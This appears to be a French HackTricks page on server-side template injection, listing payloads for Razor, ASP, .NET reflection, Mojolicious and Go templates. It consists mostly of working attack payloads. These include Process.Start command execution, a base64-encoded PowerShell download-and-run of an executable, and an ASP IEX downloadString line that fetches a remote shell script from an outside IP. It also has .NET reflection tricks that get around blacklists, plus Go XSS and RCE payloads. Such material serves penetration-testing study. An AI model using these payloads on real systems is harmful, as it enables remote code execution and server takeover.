https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

La méthode .NET System.Diagnostics.Process.Start peut être utilisée pour démarrer n’importe quel processus sur le serveur et ainsi créer un webshell. Vous pouvez trouver un exemple de webapp vulnérable dans https://github.com/cnotin/RazorVulnerableApp

Plus d’informations

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Rien
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Plus d’informations

.Net — contournement des restrictions

Les mécanismes .NET Reflection peuvent être utilisés pour contourner le blacklisting ou si des classes ne sont pas présentes dans l’assembly. Les DLL peuvent être chargées à l’exécution avec des méthodes et propriétés accessibles depuis des objets de base.

Dll’s can be loaded with:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - from filesystem.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - directly from request.

Exécution complète de commande:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Plus d’informations

Mojolicious (Perl)

Même si c’est perl, il utilise des balises comme ERB en Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI en GO

Dans le moteur de template de Go, la confirmation de son utilisation peut se faire avec des payloads spécifiques :

  • {{ . }}: Révèle la structure de données en entrée. Par exemple, si un objet avec un attribut Password est passé, {{ .Password }} pourrait l’exposer.
  • {{printf "%s" "ssti" }}: Devrait afficher la chaîne “ssti”.
  • {{html "ssti"}}, {{js "ssti"}}: Ces payloads doivent renvoyer “ssti” sans ajouter “html” ou “js”. D’autres directives peuvent être explorées dans la documentation Go here.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

Avec le package text/template, XSS peut être simple en insérant le payload directement. En revanche, le package html/template encode la réponse pour l’empêcher (par ex., {{"<script>alert(1)</script>"}} donne &lt;script&gt;alert(1)&lt;/script&gt;). Néanmoins, la définition et l’invocation de templates en Go peuvent contourner cet encodage : {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Copier le code

RCE Exploitation

L’exploitation RCE diffère significativement entre html/template et text/template. Le module text/template permet d’appeler directement n’importe quelle fonction publique (en utilisant la valeur “call”), ce qui n’est pas autorisé dans html/template. La documentation de ces modules est disponible here for html/template et here for text/template.

Pour RCE via SSTI en Go, les méthodes d’objet peuvent être invoquées. Par exemple, si l’objet fourni possède une méthode System exécutant des commandes, elle peut être exploitée ainsi : {{ .System "ls" }}. L’accès au code source est généralement nécessaire pour exploiter cela, comme dans l’exemple donné :

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Plus d’informations

LESS (pré-processeur CSS)

LESS est un pré-processeur CSS populaire qui ajoute des variables, des mixins, des fonctions et la puissante directive @import. Lors de la compilation, le moteur LESS va récupérer les ressources référencées dans les instructions @import et intégrer (“inline”) leur contenu dans le CSS résultant lorsque l’option (inline) est utilisée.

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

More Exploits

Check the rest of https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection for more exploits. Also you can find interesting tags information in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

If you think it could be useful, read:

Tools

Brute-Force Detection List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks